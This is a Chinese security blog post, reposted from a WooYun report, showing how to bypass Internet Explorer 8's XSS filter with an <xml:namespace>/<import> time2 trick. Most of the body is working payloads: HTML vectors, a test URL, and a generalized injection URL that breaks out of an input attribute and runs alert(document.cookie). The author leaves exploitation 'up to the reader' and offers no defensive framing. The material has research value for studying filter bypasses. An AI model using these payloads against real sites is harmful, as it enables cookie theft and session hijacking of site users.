关注我们
QRcode 邮件联系 QRcode
主页 » 信息安全 » 正文

绕过xss过滤器,IE8 xss filter bypass

 feng  649 ℃  0条点评

IE 8 XSS 过滤器绕过。感谢@Sogili牛为本绕过通用性实现上提供的tricks。
1. 在IE8中,可以通过 <xml> <?import> + <t:set ..> 的方式来构成一个XSS vector。
在测试过程中发现, <?import> 同样可写为 <import>。
也就是说。下面的代码都可以运行JS代码。

 

01 <html>    
02 <body>    
03 <div>    
04 <div id="x">x</div>    
05 <?xml:namespace prefix="t">    
06 <?import namespace="t" implementation="#default#time2">    
07 <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">    
08 </div>    
09 </body>    
10 </html>
11 <html>    
12 <body>    
13 <div>    
14 <div id="x">x</div>    
15 <xml:namespace prefix="t">    
16 <import namespace="t" implementation="#default#time2">    
17 <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">    
18 </div>    
19 </body>    
20 </html>

2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter

测试例子如下:

http://xsst.sinaapp.com/example/1-1.php?page=<div id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;1%26%23x29;%26gt;>

 

如果用<?import..>,则会触发过滤器。

3. 当然,上面这个代码,只适用于 <HTML标签>{输出在这里}</HTML标签> 的情况。

我们经常会遇到类似 <input type="text" value="{输出在这里}"> 的情况。

这样一来,我们需要在代码前面加上 "> 来闭合HTML属性。

但是问题来啦, "> 会触发XSS过滤器,过滤掉我们代码中的敏感词。

@jackmasa (https://twitter.com/jackmasa),也就是我们乌云的 @Sogili 牛,给了一个绕过的tricks, "x> 就不会触发XSS过滤器了, x代表任意字母。 非常感谢。

这样一来,我们上面的代码可以进一步通用化。

http://www.xxxx.com/product.php?search="id=><div/id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;>

4. 至于具体怎么利用,恩,大家自己看着办。

微软已经在IE10中修复了这个问题。将会在近期推出win7的IE10版本。 故IE8中应该不会修复了。

转自:http://www.wooyun.org/bugs/wooyun-2012-013883

本文标签:
网络营销和销售有哪些区别?
xss跨站脚本攻击代码大全
我是如何打造一款自动化SQL注入工具的我是如何打造一款自动化SQL注入工具的分析勒索软件Cerber的攻击方法分析勒索软件Cerber的攻击方法​分析Cknife,一个类似China Chopper的webshell管理工具(第二部分)​分析Cknife,一个类似China Chopper的webshell管理工具(第二部分)某个商业定向攻击活动分析某个商业定向攻击活动分析

已有0条评论,欢迎点评!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley

国际惯例, 沙发拿下 . . .


注册帐号  |  忘记密码